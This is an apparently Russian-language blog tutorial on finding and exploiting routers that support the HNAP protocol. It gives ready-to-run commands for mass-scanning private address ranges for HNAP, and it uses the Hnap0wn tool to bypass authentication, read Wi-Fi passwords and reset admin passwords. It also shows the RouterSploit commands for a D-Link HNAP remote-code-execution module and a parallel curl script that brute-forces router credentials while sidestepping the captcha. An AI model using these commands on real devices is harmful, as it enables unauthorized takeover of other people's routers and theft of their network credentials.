Что такое HNAP, как найти и эксплуатировать роутеры с HNAP

Среди модулей Router Scan вы можете увидеть «Use HNAP 1.0».

Среди результатов сканирования, в самой правой части таблицы, в столбце Комментарии, вы можете найти «HNAP bypass auth».

То есть данный протокол используется для обхода аутентификации. В этой статье мы узнаем, для чего нужен HNAP, как проверить, поддерживает ли его роутер, как сканировать сети в поисках устройств с HNAP, как эксплуатировать и брут-форсить учётные данные используя HNAP.

Что такое HNAP

Home Network Administration Protocol (HNAP) — Протокол администрирования домашней сети — это проприетарный сетевой протокол, изобретённый Pure Networks, Inc. и приобретённый Cisco Systems, который позволяет идентифицировать, настраивать и управлять сетевыми устройствами. HNAP основан на SOAP.

Этот протокол появился в 2007 году и может рассматриваться как прямой конкурент UPnP. Известными пользователями этого протокола были Cisco и D-Link. Однако оба прекратили использование этого протокола в 2012 и 2016 годах соответственно. То есть да, новые устройства больше не поддерживают этот протокол, но старые роутеры никуда не делись.

Особенно примечательно то, что эта функция часто скрыта от административной панели, что делает невозможным её отключение. Если ваш маршрутизатор всё ещё поддерживает HNAP, это, вероятно, означает, что ваш маршрутизатор нуждается в замене.

Начиная с января 2010 года, в нескольких сетевых устройствах D-Link были обнаружены уязвимости, в которых можно было обойти HNAP-аутентификацию.

Как узнать, поддерживает ли роутер HNAP

Как уже было сказано, поддержку протокола HNAP можно найти преимущественно в старых устройствах Cisco и D-Link.

Чтобы проверить наверняка, выполните команду вида:

echo "GET /HNAP1/ HTTP/1.1\r\nHost: test\r\n\r\n" | ncat IP-РОУТЕРА 80

В ней вместо IP-РОУТЕРА вставьте IP адрес, например:

echo "GET /HNAP1/ HTTP/1.1\r\nHost: test\r\n\r\n" | ncat 172.23.4.130 80

Если будут выведенные данные содержащие строку «<?xml version="1.0" encoding="utf-8"?><soap:…………….», значит этот роутер поддерживает HNAP.

Как просканировать сеть в поисках HNAP

Я не нашёл сканеров, которые могут искать HNAP. За исключением Router Scan, который пытается эксплуатировать этот протокол если другие средства не сработали.

Но поскольку нам известна команда верификации поддержки HNAP, то в паре с Parallel мы можем сделать свой собственный «инструмент» для сканирования больших сетей в поиске HNAP Смотрите, кстати «Руководство по использованию GNU Parallel» - это потрясающая программа.

Итак, я хочу просканировать сеть 172.16.0.0/12, это диапазон IP адресов 172.16.0.0-172.31.255.255. При этом я хочу просканировать сразу два порта — 80 и 8080. Тогда команда следующая:

parallel -j250 'if [[ "`echo "GET /HNAP1/ HTTP/1.1\r\nHost: test\r\n\r\n" | timeout 3 ncat 172.{3}.{1}.{2} 80 2>/dev/null | grep -E -o xml`" ]]; then echo 172.{3}.{1}.{2}; fi; if [[ "`echo "GET /HNAP1/ HTTP/1.1\r\nHost: test\r\n\r\n" | timeout 3 ncat 172.{3}.{1}.{2} 8080 2>/dev/null | grep -E -o xml`" ]]; then echo 172.{3}.{1}.{2}:8080; fi' ::: {1..255} ::: {1..255} ::: {16..31}

Если вы будете её модифицировать под свои нужды, то обратите внимание, что IP адрес в команде указывается 4 раза — поменяйте его во всех местах.

В качестве основной полезной нагрузки используется команда:

echo "GET /HNAP1/ HTTP/1.1\r\nHost: test\r\n\r\n" | timeout 3 ncat 172.{3}.{1}.{2} 80 2>/dev/null | grep -E -o xml

Она основана на уже знакомой нам команде, но в ней добавлен таймаут в 3 секунды. Также в выводе с помощью grep ищется строка «xml». Если она найдена, то выполняется условие if и выводится IP адрес.

Данная конструкция продублирована, но во втором случае операция повторяется для порта 8080.

Чтобы понять «172.{3}.{1}.{2}» и « ::: {1..255} ::: {1..255} ::: {16..31}» изучите руководство по Parallel, ссылка на которое дана выше. Но, в принципе, можно и так догадаться.

Как вы можете увидеть, сканирование ещё продолжается, но я уже получил результаты:

Как эксплуатировать HNAP

Имеется парочка инструментов для эксплуатации HNAP.

Hnap0wn

Инструмент Hnap0wn был представлен 10 лет назад. Это эксплойт для обхода административного входа в систему для маршрутизаторов D-Link с поддержкой HNAP.

Сейчас его можно скачать по следующим ссылкам (версии не идентичны! В этой инструкции я использую первую):

Скачиваем и распаковываем в командной строке:

mkdir hnap0wn
cd hnap0wn
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/11101.tar.gz
tar xvzf 11101.tar.gz

Этот инструмент позволяет проверять, имеется ли уязвимость, позволяющая выполнять действия не указывая пароль, а также просматривать информацию с устройства как с помощью пароля, так и без пароля, если это устройство уязвимое.

В папке xml, которая поставляется с этой программой, несколько файлов с расширением .xml для выполнения типичных действий.

Пример команды:

./hnap0wn 172.24.98.25:8080 xml/GetWLanSecurity.xml

Результат есть, но, думаю, вы не можете с ходу читать XML файлы без форматирования. Поэтому мы обратимся к статье «Как отформатировать XML в командной строке» и воспользуемся одной из предложенных в ней утилит. Я буду использовать xmllint (пакет libxml2-utils в Debian или libxml2 в Arch Linux).

Чтобы Hnap0wn выводила валидный XML, откройте файл hnap0wn:

gedit ./hnap0wn

И найдите и удалите там в 49-й строке:

echo ""

Затем запускаем вместе с xmllint:

./hnap0wn 172.24.98.25:8080 xml/GetWLanSecurity.xml | xmllint --format -

Теперь стало понятнее, обратите внимание на строку:

<Key>789654123</Key>

То есть пароль от Wi-Fi 789654123.

С помощью такой команды:


./hnap0wn 172.24.98.25:8080 xml/GetWLanSettings24.xml | xmllint --format -

Мы получили строки:

<MacAddress>84:c9:b2:5b:59:40</MacAddress>
<SSID>Pozitiv</SSID>

Как можно догадаться, это BSSID (MAC адрес) и ESSID (имя точки доступа).

Все доступные действия:

  • AddPortMapping.xml
  • DeletePortMapping.xml
  • GetConnectedDevices.xml
  • GetDeviceSettings.xml
  • GetMACFilters2.xml
  • GetNetworkStats.xml
  • GetPortMappings.xml
  • GetRouterLanSettings.xml
  • GetWanSettings.xml
  • GetWanStatus.xml
  • GetWLanRadioSettings.xml
  • GetWLanRadios.xml
  • GetWLanSecurity.xml
  • GetWLanSettings24.xml
  • IsDeviceReady.xml
  • Reboot.xml
  • RenewWanConnection.xml
  • SetDeviceSettings.xml
  • SetLanSettings.xml
  • SetMACFilters2.xml
  • SetRouterLanSettings.xml
  • SetWanSettings.xml
  • SetWLanSecurity.xml
  • SetWLanSettings.xml

Если в выводе вы видите только пустые строки, это означает ошибку аутентификации (неправильное имя пользователя и/или пароль).

Если вы знаете имя пользователя и пароль, то используйте команду вида:

./hnap0wn ПОЛЬЗОВАТЕЛЬ:ПАРОЛЬ@192.168.0.1 xml/SetDeviceSettings.xml

Например (если пароль пустой, то всё равно нужно оставить двоеточие, 80-й порт можно не писать):

./hnap0wn admin:@172.23.4.130:80 xml/GetConnectedDevices.xml | xmllint --format -

С помощью SetDeviceSettings.xml можно изменить пароль:

./hnap0wn admin:@172.23.4.130:80 xml/SetDeviceSettings.xml | xmllint --format -

Причём по умолчанию пароль устанавливается на пустой. Вы можете указать любой пароль, для этого откройте файл SetDeviceSettings.xml и впишите там пароль между тегами:

<AdminPassword>ЗДЕСЬ ПАРОЛЬ</AdminPassword>

Лучший результат, если получилось обойти аутентификацию и сбросить пароль. Иногда это не работает, но даже не зная пароль можно просмотреть настройки роутеров, в том числе пароль от Wi-Fi.

RouterSploit

В RouterSploit есть модуль «D-Link Multi HNAP RCE», он использует уязвимость удалённого выполнения кода HNAP на нескольких устройствах D-Link, что позволяет выполнять команды на устройстве.

Уязвимы следующие устройства

  • D-Link DIR-645
  • D-Link AP-1522 revB
  • D-Link DAP-1650 revB
  • D-Link DIR-880L
  • D-Link DIR-865L
  • D-Link DIR-860L revA
  • D-Link DIR-860L revB
  • D-Link DIR-815 revB
  • D-Link DIR-300 revB
  • D-Link DIR-600 revB
  • D-Link DIR-645
  • D-Link TEW-751DR
  • D-Link TEW-733GR

Уязвимость RCE — это не та же самая уязвимость по обходу аутентификации, которую мы рассматривали выше. То есть роутеры, уязвимые для HNAP bypass auth, оказались не уязвимыми к RCE.

Я не смог найти уязвимый к RCE роутеры, но для использования модуля нужно выполнить примерно следующие команды:

Запускаем RouterSploit:

./rsf.py

В консоли RouterSploit:

use exploits/routers/dlink/multi_hnap_rce
show options
set target 172.23.4.130
set port 80
run

В случае удачной эксплуатации, будет открыт шелл, но удалённое внедрение команд будет слепым — самое трудное, без вывода информации. Поэтому смотрите статью «Эксплуатация уязвимости «слепое внедрение команд» (blind command injection)».

Как брут-форсить пароль роутера с помощью HNAP

Пароль для входа в административную панель роутера одинаковый для выполнения действий с HNAP. Поэтому если веб-страница роутера защищена капчей, то можно воспользоваться HNAP для обхода капчи.

Я не нашёл инструментов для брут-форса HNAP, но это не проблема.

Если выполнить команду вида:

curl -v --insecure --header "SOAPAction: \"http://purenetworks.com/HNAP1/GetWanStatus\"" -d "$(cat GetWanStatus.xml)" http://ПОЛЬЗОВАТЕЛЬ:ПАРОЛЬ@ХОСТ:ПОРТ/HNAP1/

То в зависимости от того, правильные ли учётные данные или нет, будет получен код ответа:

< HTTP/1.1 200 OK

Или в случае неудачной аутентификации:

< HTTP/1.1 401 Unauthorized

Для выполнения этой команды необходим файл GetWanStatus.xml со следующим содержимым:

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/encoding/">
	<soap:Body>
		<GetWanStatus xmlns="http://purenetworks.com/HNAP1/">
		</GetWanStatus>
	</soap:Body>
</soap:Envelope>

Этот файл взят из программы Hnap0wn. На самом деле, нам нужно послать любой правильный запрос, просто, чтобы получить нормальный код ответа.

Пример выполнения двух команд:

curl -v --insecure --header "SOAPAction: \"http://purenetworks.com/HNAP1/GetWanStatus\"" -d "$(cat GetWanStatus.xml)" http://admin:@172.23.4.130:80/HNAP1/
curl -v --insecure --header "SOAPAction: \"http://purenetworks.com/HNAP1/GetWanStatus\"" -d "$(cat GetWanStatus.xml)" http://wrong-user-name:@172.23.4.130:80/HNAP1/

Теперь составляем команду parallel. Используемые файлы:

  • users.txt — список имён пользователей (все файлы в формате — одна запись на строку)
  • pass.txt — список паролей
  • hosts.txt — список хостов (если порт отличается от 80, то должен быть указан через двоеточие)

Команда parallel:

parallel -j250 'if [[ "`curl -v --insecure --header "SOAPAction: \"http://purenetworks.com/HNAP1/GetWanStatus\"" -d "$(cat GetWanStatus.xml)" http://{1}:{2}@{3}/HNAP1/ 2>&1 | grep \"200 OK\"`" ]]; then echo {1}:{2}@{3}; fi;' :::: users.txt :::: pass.txt :::: hosts.txt

Если подобраны имя пользователя и пароль, то они будут выведены вместе с адресом хоста.

Это успешно результаты успешного взлома пароля:

Заключение

Конечно, протокол HNAP теряет свою актуальность в силу того, что производители сетевого оборудования отказались от его использования. Тем не менее даже в 2020 году продолжают находить новые уязвимости, например: ZDI-20-267 (CVE-2020-8863) и ZDI-20-268 (CVE-2020-8864), которые затрагивают роутеры моделей D-Link DIR-882, DIR-878 и DIR-867 (источник).

Сам протокол — это неплохой учебный пример для написания своего кода, автоматизирующего атаки, поскольку протокол относительно несложен, а готовых инструментов мало.

Рекомендуется Вам:

Добавить комментарий

Ваш адрес email не будет опубликован.